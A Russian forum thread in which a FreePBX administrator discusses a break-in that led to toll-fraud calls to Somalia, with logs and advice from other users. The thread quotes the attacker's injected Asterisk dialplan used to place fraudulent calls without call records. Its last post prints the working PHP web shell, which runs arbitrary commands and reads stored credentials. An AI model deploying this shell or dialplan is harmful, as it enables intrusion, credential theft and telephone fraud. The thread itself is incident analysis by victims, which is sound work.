Страница 1 из 2

Взломали...

Добавлено: 02 дек 2016, 00:32
Lufa
Привет.

Пришел счет за дзвонки в Сомали... Нами пользовались 2-3 дня. Имеем E1. Пвайдер, не закрыл международные вызовы ("не можем")... Хотя! Диалпланов для международки у меня небыло!

Хочу разобратся. FreePBX 12.0.70. А ведь просила обновится... :( Почему-то светилась веб-морда наружу, на внешний интерфейс... :oops: SSH из-вне закрыт.

Что интересно — CDR затерт. Вся история CDR до дня инцедента включительно — чистая. После — звноков история ведется нормально. Проверил что звонки были "от меня" по логах удаленного шлюза E1 (включен транком) — caller: SIP, Unknown, E1— Сомали.

Счет пришел поздно, а оказалось, на FreeBPX почти все текстовые логи сохряняются только за последних 30 дней (уже прошло 45). Бекап есть, но недельной давности (не помог).

На главной странице уведомление:

Код: Выделить всё

Module: "FreePBX Framework", File: "/var/lib/asterisk/bin/freepbx-cron-scheduler.php altered"
Module: "FreePBX Framework", File: "/var/www/html/admin/libraries/BMO/Ajax.class.php altered"
Файл Ajax.class.php вроде ниче. А freepbx-cron-scheduler.php имеет внутри красивый, обфусцированный, PHP-шелл. Дата создания файла — 2005 год. За последние 30 дней скриптом, судя по логам Ahapche, не пользовались.

А также:

Код: Выделить всё

music (Cur v. 12.0.1) should be upgraded to v. 12.0.2 to fix security issues: SEC-2016-004
userman (Cur v. 12.0.27) should be upgraded to v. 12.0.28 to fix security issues: SEC-2016-003
framework (Cur v. 12.0.70) should be upgraded to v. 12.0.76.4 to fix security issues: SEC-2016-002
ucp (Cur v. 12.0.24) should be upgraded to v. 12.0.25 to fix security issues: SEC-2016-002
SIP тоже торчал наружу. Было несколько человек з allow на весь мир.

Имею: дурак, PHP-шелл, работали 4 дня, подчистили логи, открыли диалплан? (и закрыли за собой?). Левых акков вроде нету. Что за вежливые фродеры?

Перед тем как переустановить систему исменить пароли хочу спросить, где еще можно посмотреть истрию взлома? Достаточно ли PHP-шелла чтобы изменить конфигурацию Asterisk? Или есть еще червинка где-то? Была ли утечка паролей?

Спасибо за советы.

P.S.
manager.conf : permit=127.0.0.1/255.255.255.0

Re: Взломали...

Добавлено: 02 дек 2016, 00:54
zzuz
Надо было через полгода опомниться .

Re: Взломали...

Добавлено: 02 дек 2016, 09:32
skynetyar
Нас на прошлой системе тоже ломали,использовали все бесплатные минуты и перестали, все равно что знали что есть бесплатные минуты :?
С тех пор к безопасности отношусь чуть серьезней чем раньше..
На счет вежливых взломщиков это точно :D
В акурат ровненько без лишней пыли,все за собой подмели и ушли :evil:

Меня до сих пор флудят подбором типа

Код: Выделить всё

WARNING[2954]: chan_sip.c:4120 retrans_pkt: Timeout on c938ff0cf0c76cf26be098f9c015eaf2 on non-critical invite transaction.
Не знаю на что рассчитывают,им таким методом придется 500 лет перебирать..

Что Вы хотите найти и как Вам это поможет?

Re: Взломали...

Добавлено: 02 дек 2016, 10:01
virus_net
Совет тока один: Прежде чем пытаться что-то настраивать и выставлять в Инет нужно в этом чем-то разобраться.
php шела может быть достаточно для чего угодно.

Остальные вопросы это не к нам, а к гадалке или платному аудиту, т.к. консоль перед вами, а не перед нами.

Re: Взломали...

Добавлено: 02 дек 2016, 10:04
skynetyar
Вообще всякие Сомали да и вообще международный трафик надо отрубать на уровне провайдера если возможно...тогда уж точно не загремишь...
Ну или до предела нуля и блокировка хотябы...

Re: Взломали...

Добавлено: 02 дек 2016, 11:12
Lufa
skynetyar писал(а): Что Вы хотите найти и как Вам это поможет?
Учусь на своих ошибках... Поможет безопаснее перестроить систему.

Re: Взломали...

Добавлено: 02 дек 2016, 12:33
Lufa
Нашел в одном из недавних бекапов. Оказывается были попытки звонков и недавно. Оследил по времени...

В extensions_custom.conf:

Код: Выделить всё

[thanku-outcall]; thankuohoh
exten => _.,1,Macro(user-callerid,LIMIT,EXTERNAL,); thankuohoh
exten => _.,n,Set(MOHCLASS=${IF($["${MOHCLASS}"=""]?default:${MOHCLASS})}); thankuohoh
exten => _.,n,Set(_NODEST=); thankuohoh
exten => _.,n,NoCDR(); thankuohoh
exten => _.,n,Macro(dialout-trunk,12,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,13,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,14,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,15,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,16,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,17,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,5,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(outisbusy,); thankuoho
"thankuohoh", ох, ох, таки культурные...

/var/www/html/admin/libraries/php-upgrade/ext/config.php:

Код: Выделить всё

ZOZ4SEC Die ..
(тут тоже был PHP-шелл).

В логах астериска:

Код: Выделить всё

[2016-11-25 01:41:27] VERBOSE[2031] asterisk.c:     -- Remote UNIX connection
[2016-11-25 01:41:27] VERBOSE[17829][C-000069e1] pbx.c:     -- Executing [381631865109@thanku-outcall:1] Macro("Local/381631865109@thanku-outcall-000035cb;2", "user-callerid,LIMIT,EXTERNAL,") in new stack
[2016-11-25 01:41:27] VERBOSE[17829][C-000069e1] pbx.c:     -- Executing [s@macro-user-callerid:1] Set("Local/381631865109@thanku-outcall-000035cb;2", "TOUCH_MONITOR=1480030887.69347") in new stack
[2016-11-25 01:41:27] VERBOSE[17829][C-000069e1] pbx.c:     -- Executing [s@macro-user-callerid:2] Set("Local/381631865109@thanku-outcall-000035cb;2", "AMPUSER=") in new stack
[2016-11-25 01:41:27] VERBOSE[17829][C-000069e1] pbx.c:     -- Executing [s@macro-user-callerid:3] GotoIf("Local/381631865109@thanku-outcall-000035cb;2", "0?report") in new stack
...
А в перед этим:

Код: Выделить всё

82.145.59.143 - - [25/Nov/2016:01:40:57 +0200] "GET /admin/views/config.php HTTP/1.1" 200 172 "-" "python-requests/2.11.1"
82.145.59.143 - - [25/Nov/2016:01:40:57 +0200] "POST /admin/views/config.php HTTP/1.1" 200 306 "-" "python-requests/2.11.1"
82.145.59.143 - - [25/Nov/2016:01:40:57 +0200] "POST /admin/views/config.php HTTP/1.1" 200 705 "-" "python-requests/2.11.1"
Т. е. через веб-морду торчащую наружу поставили шелл, посмотрели пароли, изменили конфиги.

Подскажите, пожалуйста, как узнать кто именно инициировал соединение, с какого IP и SIP-логина?

Спасибо.

Re: Взломали...

Добавлено: 02 дек 2016, 12:40
skynetyar
thankuohoh"
Было такое! именно в кустом пихается этот екст.
FreePBX не ругается на правку custom поэтому заметить крайне сложно.
Заметил случайно,полез свой екст туда править и увидел...,вроде бы все обошлось без происшествий..
У провайдера должен быть лог,у него спрашивали?

Вот такую картину наблюдаю сейчас например...

Код: Выделить всё

Peer             User/ANR         Call ID          Format           Hold     Last Message    Expiry     Peer
213.202.233.112  6500             686797b92d832bf  (nothing)        No       Rx: INVITE                 <guest>
167.114.245.117  4700             0a5fdaedf939bcc  (nothing)        No       Rx: INVITE                 <guest>
142.0.38.136     1001             94dbf5ab58dd34d  (nothing)        No       Rx: INVITE                 <guest>
167.114.245.117  4611             0da8a8a32fdbaf6  (nothing)        No       Rx: INVITE                 <guest>
167.114.245.117  4700             9c5e59bcb9a4e71  (nothing)        No       Rx: INVITE                 <guest>
167.114.245.117  4700             c93160ba009d879  (nothing)        No       Rx: INVITE                 <guest>
185.40.4.39      4054             ff9907d1984c29d  (nothing)        No       Rx: INVITE                 <guest>
192.187.124.250  1001             53e2070f088dd4d  (nothing)        No       Rx: INVITE                 <guest>
213.202.233.26   301              8c970d58768012b  (nothing)        No       Rx: INVITE                 <guest>
9 active SIP dialogs
Что бы это устранить надо настроить Fail2Ban но пока не могу найти информацию как настроить...
Тут не кто не хочет помочь :cry:

Re: Взломали...

Добавлено: 02 дек 2016, 13:38
Lufa
У провайдера должен быть лог,у него спрашивали?
Логи есть. Прислали письмом, с напоминанием оплатить. ;)

Re: Взломали...

Добавлено: 02 дек 2016, 13:45
Demos
Содержимое этих php-shell:

Код: Выделить всё

/*7JmIgMOHuxvVz9kcGRa6CHrmWUT9ZP76ytOPgCwKa1FJa0VQS5XvNoSJjLTiB0o9ucYKPvu0waJHbFy3KvyyTrhcdauObTXF5WpVsUWY5FGgkek5JTDDkVQx5klhdjWjgmfIhbGmRmDcBXhlQVY*/
session_start();
if (isset($_REQUEST['p']) && md5($_REQUEST['p']) == '5edce2082dd89eac19af315395d4ad17') {
    $_SESSION['zoz'] = 'logged';
}
if (!isset($_SESSION['zoz'])) {
    echo '<form action = "" method = "post" ><input size = 60 type = text name = "p" /><input type = submit value = "Angel" /></form>';
    exit("Angel");
}
/*7JmIgMOHuxvVz9kcGRa6CHrmWUT9ZP76ytOPgCwKa1FJa0VQS5XvNoSJjLTiB0o9ucYKPvu0waJHbFy3KvyyTrhcdauObTXF5WpVsUWY5FGgkek5JTDDkVQx5klhdjWjgmfIhbGmRmDcBXhlQVY*/
if (isset($_SESSION['zoz']) && $_SESSION['zoz'] == 'logged' && !isset($_REQUEST['silent'])) {
    echo '<form action = "" method = "post" ><input size = 60 type = text name = "c" /><input type = submit value = "do" /></form>';
    echo "<xmp>";
    @system("grep AMPDB /etc/amportal.conf");
    echo "---------------------\n";
    @system("grep ARI_ADMIN /etc/amportal.conf");
    echo "---------------------\n";
    @system($_REQUEST['c']);
    echo "</xmp>";
}else{
    echo "<xmp>";
    @system($_REQUEST['c']);
     echo "</xmp>";
}
/*7JmIgMOHuxvVz9kcGRa6CHrmWUT9ZP76ytOPgCwKa1FJa0VQS5XvNoSJjLTiB0o9ucYKPvu0waJHbFy3KvyyTrhcdauObTXF5WpVsUWY5FGgkek5JTDDkVQx5klhdjWjgmfIhbGmRmDcBXhlQVY*/